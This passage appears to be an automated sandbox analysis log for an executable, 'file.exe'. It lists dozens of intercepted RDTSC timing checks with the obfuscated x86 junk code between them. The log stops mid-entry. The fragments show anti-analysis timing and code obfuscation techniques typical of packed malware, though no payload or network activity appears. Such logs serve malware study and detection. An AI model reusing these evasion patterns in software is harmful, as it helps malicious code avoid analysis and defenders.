Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E53BF second address: 10E53DE instructions: 0x00000000 rdtsc 0x00000002 jns 00007F2BD8E8A346h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F2BD8E8A34Eh 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E5906 second address: 10E5910 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F2BD92E34C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E5910 second address: 10E594C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD8E8A359h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2BD8E8A354h 0x00000013 jg 00007F2BD8E8A346h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E93F4 second address: 10E93F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E93F8 second address: 10E93FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E94D6 second address: 10E950B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop esi 0x00000006 add dword ptr [esp], 1B2522C3h 0x0000000d sbb dh, 0000004Ah 0x00000010 push 00000003h 0x00000012 jnl 00007F2BD92E34C6h 0x00000018 push 00000000h 0x0000001a sub dword ptr [ebp+122D1AB8h], edx 0x00000020 push 00000003h 0x00000022 mov ecx, dword ptr [ebp+122D3897h] 0x00000028 mov esi, ecx 0x0000002a push 99FCB8D7h 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 push edx 0x00000034 pop edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E950B second address: 10E9515 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F2BD8E8A346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9515 second address: 10E958C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD92E34CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 26034729h 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007F2BD92E34C8h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a clc 0x0000002b lea ebx, dword ptr [ebp+1244F33Ah] 0x00000031 push 00000000h 0x00000033 push ecx 0x00000034 call 00007F2BD92E34C8h 0x00000039 pop ecx 0x0000003a mov dword ptr [esp+04h], ecx 0x0000003e add dword ptr [esp+04h], 00000019h 0x00000046 inc ecx 0x00000047 push ecx 0x00000048 ret 0x00000049 pop ecx 0x0000004a ret 0x0000004b mov si, dx 0x0000004e xchg eax, ebx 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F2BD92E34D2h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9613 second address: 10E962F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007F2BD8E8A34Ch 0x0000000c pop edx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E962F second address: 10E9670 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 nop 0x00000007 jl 00007F2BD92E34CCh 0x0000000d or esi, dword ptr [ebp+122D397Bh] 0x00000013 and edx, dword ptr [ebp+122D395Bh] 0x00000019 push 00000000h 0x0000001b mov ecx, 0C1382A8h 0x00000020 push D846E296h 0x00000025 ja 00007F2BD92E34E1h 0x0000002b pushad 0x0000002c jmp 00007F2BD92E34D3h 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9670 second address: 10E96FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 add dword ptr [esp], 27B91DEAh 0x0000000c or dword ptr [ebp+122D1A86h], edx 0x00000012 push 00000003h 0x00000014 sub dword ptr [ebp+122D1836h], edi 0x0000001a push 00000000h 0x0000001c mov di, 3B37h 0x00000020 push esi 0x00000021 or cx, 1BA9h 0x00000026 pop edx 0x00000027 push 00000003h 0x00000029 sbb dh, FFFFFFC1h 0x0000002c push 6C12A1B7h 0x00000031 push esi 0x00000032 push edi 0x00000033 pushad 0x00000034 popad 0x00000035 pop edi 0x00000036 pop esi 0x00000037 add dword ptr [esp], 53ED5E49h 0x0000003e push 00000000h 0x00000040 push edi 0x00000041 call 00007F2BD8E8A348h 0x00000046 pop edi 0x00000047 mov dword ptr [esp+04h], edi 0x0000004b add dword ptr [esp+04h], 00000018h 0x00000053 inc edi 0x00000054 push edi 0x00000055 ret 0x00000056 pop edi 0x00000057 ret 0x00000058 jmp 00007F2BD8E8A34Ah 0x0000005d lea ebx, dword ptr [ebp+1244F343h] 0x00000063 jmp 00007F2BD8E8A34Ch 0x00000068 xchg eax, ebx 0x00000069 push eax 0x0000006a push edx 0x0000006b jmp 00007F2BD8E8A352h 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9789 second address: 10E97EF instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2BD92E34C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F2BD92E34D5h 0x0000000f popad 0x00000010 push eax 0x00000011 jmp 00007F2BD92E34CBh 0x00000016 nop 0x00000017 mov edi, dword ptr [ebp+122D392Bh] 0x0000001d push 00000000h 0x0000001f pushad 0x00000020 mov cx, si 0x00000023 call 00007F2BD92E34D1h 0x00000028 mov ebx, dword ptr [ebp+122D379Bh] 0x0000002e pop ecx 0x0000002f popad 0x00000030 call 00007F2BD92E34C9h 0x00000035 pushad 0x00000036 pushad 0x00000037 push edi 0x00000038 pop edi 0x00000039 push ecx 0x0000003a pop ecx 0x0000003b popad 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E97EF second address: 10E9842 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edi 0x00000009 ja 00007F2BD8E8A354h 0x0000000f pop edi 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jg 00007F2BD8E8A358h 0x0000001a mov eax, dword ptr [eax] 0x0000001c push edx 0x0000001d jmp 00007F2BD8E8A34Ch 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push edi 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9842 second address: 10E9847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110A0E4 second address: 110A0E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1107EDF second address: 1107F23 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2BD92E34C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F2BD92E34D6h 0x0000000f jmp 00007F2BD92E34D4h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F2BD92E34CBh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1107F23 second address: 1107F4C instructions: 0x00000000 rdtsc 0x00000002 jg 00007F2BD8E8A346h 0x00000008 jmp 00007F2BD8E8A355h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jnp 00007F2BD8E8A34Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110831D second address: 110833F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jmp 00007F2BD92E34D7h 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110833F second address: 1108345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1108345 second address: 1108365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F2BD92E34D6h 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11084CE second address: 11084D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1108B0E second address: 1108B14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1108C63 second address: 1108C7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 je 00007F2BD8E8A346h 0x0000000e popad 0x0000000f pushad 0x00000010 jnl 00007F2BD8E8A346h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FCA37 second address: 10FCA3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FCA3B second address: 10FCA3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11091EA second address: 11091F0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1109800 second address: 1109806 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1109806 second address: 110980C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1109973 second address: 1109978 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1109978 second address: 110997D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1109F65 second address: 1109F69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1109F69 second address: 1109F6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111060F second address: 1110613 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1110613 second address: 1110617 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114E29 second address: 1114E2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114E2D second address: 1114E31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111522A second address: 111522E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111522E second address: 111525A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F2BD92E34C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e push edx 0x0000000f jmp 00007F2BD92E34D4h 0x00000014 pop edx 0x00000015 jo 00007F2BD92E34D2h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111525A second address: 1115260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1115260 second address: 1115282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F2BD92E34E2h 0x0000000a jmp 00007F2BD92E34D6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1118616 second address: 1118628 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F2BD8E8A346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F2BD8E8A346h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11186A8 second address: 1118712 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 735BBE5Ch 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F2BD92E34C8h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000018h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 call 00007F2BD92E34C9h 0x0000002e jmp 00007F2BD92E34D0h 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 jnc 00007F2BD92E34DFh 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1118A65 second address: 1118A6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1118A6C second address: 1118A82 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F2BD92E34CAh 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1118A82 second address: 1118A86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1118A86 second address: 1118A90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1118A90 second address: 1118A94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1118B3A second address: 1118B41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1118B41 second address: 1118B47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1118B47 second address: 1118B4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1118C37 second address: 1118C49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2BD8E8A34Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11190B0 second address: 11190B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11190B6 second address: 11190C5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1119136 second address: 111913B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111913B second address: 1119164 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007F2BD8E8A35Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1119164 second address: 11191A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD92E34CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jnp 00007F2BD92E34CCh 0x00000010 sub dword ptr [ebp+122D293Ch], eax 0x00000016 jmp 00007F2BD92E34CBh 0x0000001b nop 0x0000001c pushad 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 pushad 0x00000024 push edi 0x00000025 pop edi 0x00000026 jo 00007F2BD92E34C6h 0x0000002c popad 0x0000002d popad 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11191A4 second address: 11191AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11191AB second address: 11191B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11192DB second address: 11192EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 pushad 0x00000008 je 00007F2BD8E8A34Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111961D second address: 1119621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1119621 second address: 111962E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111962E second address: 1119632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111ACAF second address: 111ACB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111BD57 second address: 111BD61 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F2BD92E34C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111BD61 second address: 111BD75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2BD8E8A350h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111BD75 second address: 111BD79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E09F1 second address: 10E0A0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F2BD8E8A351h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0A0D second address: 10E0A1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2BD92E34CAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1122505 second address: 112251C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD8E8A353h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124BED second address: 1124C3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 nop 0x00000006 mov bl, ah 0x00000008 push 00000000h 0x0000000a pushad 0x0000000b adc di, 1A9Fh 0x00000010 call 00007F2BD92E34D1h 0x00000015 pop eax 0x00000016 popad 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007F2BD92E34C8h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 00000017h 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 mov edi, 0BC7BBD7h 0x00000038 xchg eax, esi 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c pushad 0x0000003d popad 0x0000003e push ebx 0x0000003f pop ebx 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124C3F second address: 1124C4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2BD8E8A34Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11269A1 second address: 11269BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2BD92E34D6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11226FD second address: 1122702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124D6D second address: 1124D73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1125C82 second address: 1125C8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F2BD8E8A346h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1122702 second address: 1122708 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1128B9D second address: 1128BA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11227CC second address: 11227DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jc 00007F2BD92E34CCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1128BA1 second address: 1128C03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD8E8A34Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b je 00007F2BD8E8A357h 0x00000011 jmp 00007F2BD8E8A351h 0x00000016 nop 0x00000017 jmp 00007F2BD8E8A353h 0x0000001c push ecx 0x0000001d mov ebx, dword ptr [ebp+122D384Bh] 0x00000023 pop edi 0x00000024 push 00000000h 0x00000026 adc edi, 266080AEh 0x0000002c push 00000000h 0x0000002e or bx, 7DC4h 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 push edi 0x00000037 jno 00007F2BD8E8A346h 0x0000003d pop edi 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1128C03 second address: 1128C08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1129C34 second address: 1129C39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1128D79 second address: 1128D7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1129C39 second address: 1129C9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2BD8E8A352h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov edi, dword ptr [ebp+122D391Bh] 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007F2BD8E8A348h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 0000001Bh 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f mov ebx, dword ptr [ebp+122D390Bh] 0x00000035 push 00000000h 0x00000037 mov edi, dword ptr [ebp+122D2A13h] 0x0000003d mov ebx, dword ptr [ebp+122D378Fh] 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 je 00007F2BD8E8A348h 